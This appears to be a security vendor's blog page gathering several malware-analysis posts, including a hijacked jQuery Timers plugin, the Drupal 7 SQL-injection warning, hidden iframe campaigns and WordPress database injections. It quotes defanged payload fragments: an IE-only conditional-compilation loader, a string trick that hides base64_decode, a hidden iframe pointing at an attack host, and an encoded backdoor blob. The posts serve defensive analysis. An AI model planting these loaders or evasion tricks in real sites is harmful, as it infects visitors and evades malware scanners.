The Dangers of Hosted Scripts – Hacked jQuery Timers

Google blacklisted a client’s website claiming that malicious content was being displayed from “forogozoropoto(dot)2waky (dot)com”.

A scan didn’t reveal anything suspicious. The next step was to check all third-party scripts on the website. Soon we found the offending script. It was hxxp://jquery .offput .ca/js/jquery.timers.js – a jQuery Timers plugin that was moderately popular 5-6 years ago.

Right now, the jquery.offput.ca site is hacked. The home page appears to be blank, but it contains a few hidden links, one of which leads to a pharma spam doorway on another hacked site:

Unmask Parasites report for jquery.offput.ca

Unmask Parasites report for jquery.offput.ca


All JavaScript files on the website contain malicious code.

Sucuri SiteCheck report: infected jquery.js on jquery.offput.ca

Sucuri SiteCheck report: infected jquery.js on jquery.offput.ca



The plugin script jquery.timers.js is no exception (note the first line of code):

infected jquery.timers.js code

Infected jquery.timers.js code

The Payload

The malware in the JavaScript files is quite interesting.

First of all, the obfuscated part decodes to:

<script src="hxxp://forogozoropoto(dot)2waky(dot)com/7"></script>

So, we know this is definitely the source of the problem.

Next, you may have noticed this construction:

if(/*@cc_on!@*/false){malicious code}

Most browsers ignore the comment and never execute the malicious code, taking it as:

if(false){malicious code}

Internet Explorer is different. It interprets the comment as a conditional compilation statement and considers everything between /*@cc_on and @*/ as executable JavaScript. In this case, IE will see the injected code as:

if(!false){malicious code} 

It will always execute the malicious code, due to the inclusion of the commented “!” character.

This IE-only, conditional compilation hack will prevent the forogozoropoto(dot)2waky(dot)com script from loading in non-IE browsers, even if using an IE User-Agent string. This means that if you are using, say, a Linux sandbox with a browser that pretends to be Internet Explorer, and then monitor the HTTP traffic — you will not see any requests to forogozoropoto(dot)2waky(dot)com.

One more interesting thing here is that hxxp://jquery.offput.ca/js/jquery.timers.js only contains the malicious code if you request it using an IE User-Agent. For any other browsers, it returns unmodified code of the jQuery Timers plugin. This looks like either a server-level infection that patches JavaScript responses on-the-fly for qualifying requests, or hackers changed the handler of JavaScript files, making them executable by PHP (e.g. using AddHandler and php_value auto_prepend_file in .htaccesss ).

What Happened to the jQuery Timers Plugin?

After the initial release and a few years of plugin support, the developer lost interest and abandoned the jquery.offput.ca site. The page says the plugin has moved to the official jQuery plugin repository, and all updates will be available there only:

jQuery timers moved

jQuery timers moved

However, the repository URL is redirecting to jQuery.com, and it can’t be found using the search function. I suppose that the plugin has been completely abandoned, only living in local copies on some websites, and as as the hacked original version on the jquery.offput.ca site.

The Risks of Using Hosted Scripts

This is neither the first abandoned script, nor the last. Thousands of developers create plugins for jQuery. Many develop their own libraries. Some of those libraries become really popular, but there is no guarantee that developers will remain committed to supporting their software forever.

Of course, when you find some cool new script, you might want to do some tests linking directly to the script on the developer’s website — it’s fast, it works on any computer, and you don’t have to worry about serving extra JavaScript files — just focus on your own code. However, what works during the test stage is not always a great idea for a live public site.

Consider these potential situations and outcomes:

  • The plugin site is temporarily down (e.g. maintenance or server problem) — your site is broken.
  • The plugin author updated the .JS file with a buggy or incompatible version of the plugin – your site is broken.
  • The plugin author abandons the site (the domain expires) or moves the plugin to a different domain — your site is broken.
  • The plugin site gets hacked and some malicious code is injected into the plugin file — your site is spreading malware to your visitors.

There are plenty of risks connected to using scripts from third-party websites. As a web developer, you should generally avoid this practice. The only reasonable exception is using JavaScript libraries from trusted CDNs (e.g. Google Hosted Libraries). You can be sure that the CDN will guarantee integrity and availability of the files you need for a reasonably long time. All the rest should be hosted on servers that you control.

Please review your site code. If it still uses the jQuery Timers plugin, make sure to use a local version (you can get a clean version here) and don’t link to the infected jquery.timers.js file on the jquery.offput.ca site.

If you see any other scripts linked directly to third-party websites, you might want to consider serving those scripts directly from your site, or from a trusted CDN. This will prove to be a more reliable and secure solution.

Drupal Warns – Every Drupal 7 Website was Compromised Unless Patched

The Drupal team released an update to a critical SQL Injection vulnerability a few weeks ago and urged all their users to update or patch their sites as immediately.

Today the the Drupal team released a strong statement via a public service announcement:

You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.

In case you’re wondering, this is a very strong statement for any origanization, especially an open source project, to make. It’s one we agree with and tried to amplify, without causing alarm in the initial post. Less than 48 hours after their disclosure, we released a post saying that attacks were already in the wild and attempting to compromise every site they could.

The scariest part of this vulnerability is that since Drupal uses PDO, this vulnerability is not only limited to SELECT statements, an attacker is able to able to insert or modify arbitrary data in the database.

Severity, coupled with it’s simplicity is a recipe for disaster. It’s a matter of time before it’s integrated into the latest toolsets and attacks are actively detected.

The first attack started 8 hours after the disclosure. The attackers began hitting our honeypots with the following SQL Injection attempt…

One thing I want to make very clear is that every site behind our website firewall is and has been protected against this attack. We still recommended all our users patch, but our virtual patching (along with our SQL injection protection), kept and will continue to keep our clients sites safe.

Recovery Mode

If you have not patched your site in time and you were not using a Website Firewall with virtual patching enabled, you should assume that your site was indeed hacked. You need to defer to your incident response procedures and assume a compromise has occurred until you can prove otherwise.

The Drupal team provided some steps in their disclosure, but we also want to recommend the following steps:

  1. Check if your site is actively serving malware or spam. Free scanners like SiteCheck and Unmaskparasites exist for this purpose.
  2. Download a filesystem backup from before Oct 15th and compare all file changes since.
  3. Download a database backup from before Oct 15th and compare any changes there. Look for new users and new hooks specially. If you can, restore to that backup to be safe.
  4. Change all passwords.
  5. Look up for any new file added since.

The scary part of this issue is that Drupal, unlike many other of it’s counterparts – Joomla! and WordPress – is heavily employed in larger organizations (enterprises for lack of a better word). This means that it’s highly unlikely that they were able to patch. Unlike consumers and small business, large organizations have processes that dictate the steps that they are allowed to take and what points. Each step has a series of approvals and depending on the size of the organization those approvals can be exhaustive (meaning they can take time).

This is a recipe for disaster, if it’s true and those websites are in fact compromised, they could be leveraged and daisy chained for a massive malware distribution campaign. Take that into consideration with the size and audience of brands and the impact grows exponentially.

If you are one such organization that finds yourself in this type of situation, we highly recommend employing technology solutions that give you more time to follow your steps while still protecting your online property.

Popular Brazilian Site “Porta dos Fundos” Hacked

A very well known Brazilian comedy site, “Porta dos Fundos,” was recently hacked and is pushing malware (drive-by-download) via a malicious Flash executable, as you can see from our Sitecheck results:

SiteCheck Found Malware on Porta dos Fundos

SiteCheck Found Malware on Porta dos Fundos

If you do not want the joke to be on you, do not visit this site (portadosfundos) until it has been cleaned.

The infection starts with malicious javascript injected at the top of the code, which loads content from another compromised site, www.gpro.co.mz:


Read More

Phishing with help from Compromised WordPress Sites

We get thousands of spam and phishing emails daily. We use good spam filters (along with Gmail) and that greatly reduces the noise in our inbox. Today though, one slipped through the crack and showed up in my personal inbox:

Gmail Phishing


Read More

vBulletin.com Compromised

The vBulletin team recently announced that they suffered a compromise which allowed the attackers access to vbulletin.com servers and database. On their own words:

We take your security and privacy very seriously. Very recently, our security team discovered sophisticated attacks on our network, involving the illegal access of forum user information, possibly including your password. Our investigation currently indicates that the attackers accessed customer IDs and encrypted passwords on our systems. We have taken the precaution of resetting your account password. We apologize for any inconvenience this has caused but felt that it was necessary to help protect you and your account.


Read More

Case Study: Analyzing a WordPress Attack – Dissecting the webr00t cgi shell – Part I

November 1st started like any other day on the web. Billions of requests were being shot virtually between servers in safe and not so safe attempts to access information. After months of waiting, finally one of those not so safe request hit one of our honeypots.

We won’t get into the location of the site because it really doesn’t matter, a fact that most critics don’t realize. As is often the case, the honeypot site was quiet without much traffic and the weakness was access control.

We intentionally left the password to the site to one of the top 10 passwords, with continuous attempts it took about 3 months before it was accessed.

This time though we were ready and this is how it went..

Read More

Backdoor Evasion Using Encrypted Content

A few weeks ago on the Sucuri Research Labs we mentioned a new type of malware injection that does not use base64_decode, and instead conceals itself as a variable and is built with a combination of “base_” + (32*2) + “_decode”. This is the part of the code where it is hidden:

$g___g_='base'.(32*2).'_de'.'code';

Any tool that looks for eval, followed by base64_decode, or just flags on any base64_decode usage, will not find it.

Read More

Malware iFrame Campaign from Sytes(.)net

For the last few weeks we have been tracking a large malframe (malicious iframe) campaign that has been injecting iframes from random domains from sytes(.)net into compromised sites.

Malicious iframe injection is nothing new, the bad guys have been using no-ip.org domains for a long time. But what is catching our attention is how often these domains are changing and how short a life-span they have.

This is the payload being added to the compromised sites:

<iframe src="httX:// krbnomrhp.sytes.net:12601 /cart/manuallogin/linktous.php?guardian=82" 
    width=1 height=1 style="visibility: hidden"></iframe>

As you can see, it is a normal iframe injection. But that domain will go offline in approximately 30 minutes and get replaced by a new one. Here is a list we compiled over the past 24 hours:

Read More

WordPress Database Table and wp_head Injections

There are multiple places where a malware injection can be hidden on a web site. On WordPress, for example, it can be hidden inside the core files, themes, plugins, .htaccess and on the database. More often than not, the malware uses a combination of those which makes it harder to detect.

Today, we will talk about a database injection that we are seeing often lately, that uses wp_head() to display the malware to anyone visiting a compromised web site.

Database Injection

WordPress offers multiple API calls to manage and read the content from inside the database. One of those calls is the get_option function that returns a value from the wp_options table. The wp_options table is widely used by many plugins and themes to store long term data, and is generally full of entries making it a good place to hide malicious code.

If you don’t believe me and you use WordPress, just list the wp_options table from your site to see what I am talking about.

Here’s what we are finding inside the wp_options table under “page_option” on some compromised sites:

s:7546:"a:18:{i:0;s:10:"11-07-
2013";i:1;s:1:"e";i:2;s:32:"061d57e97e504a23cc932031f712f730";
i:3;s:32:"07b6910226033fa5ee75721b4fc6573f";
i:4;s:4:"val(";i:5;s:32:"2a27230f54e4cea4a8ed38d66e2c0";
i:6;s:1:"(";i:7;s:6993:"'LyogTXVuaW5uIHZlcnNpb246MSBkYXRlOjIxLj
VFsncGFzcyddKT09PSc2OTJlM2Y1MmVlNmYxNmJjNzhmYTZlMWVjNGJkNGE2YSc
VCwgRVhUUl9TS0lQKTsKCglpZighZW1wdHkoJHRob3IpKQoJCUAkdGhvcigkaGF
dGlvbl9leGlzdHMgKCdzdHJpcG9zJykpIHsKCWZ1bmN0aW9uIHN0cmlwb3MgKCR
G9mZnNldD0wKSB7CgkJcmV0dXJuIHN0cnBvcyAoc3RydG...
... very long ..


Read More

Joomla Hacks – Part I – Phishing

Joomla is a very popular open source CMS, dominating approximately 10% of the website market. While great for them, horrible for many others, as being popular often paints a big target on your back, at least when it comes to CMS applications.

Lately though, Joomla has had a bad spell, in which a vulnerability was found that was allowing for arbitrary PHP uploads via core. Any site that is not properly updated (or patched), can be an easily compromised. This applies to any website running Joomla 1.0.x, 1.5.x and the 1.6 and 1.7 branches, each one needs to be updated to the supported 2.5 or 3.0. Once that is supported, they need to be updated again to the latest 3.1.5 or 2.5.14 versions.

Unfortunately for Joomla users, the upgrade path is perhaps its weakest link. The reverse compatibility issues are so severe in the various branches that it plays right into the attackers objectives facilitating sever vulnerabilities, allowing them to have wider impacts across the website ecosystem. Because of this, we will share in this post one very specific method attackers are using to perform nefarious acts using the websites you visit or own, a little something known as Phishing.

  • Part I – Phishing injection


Read More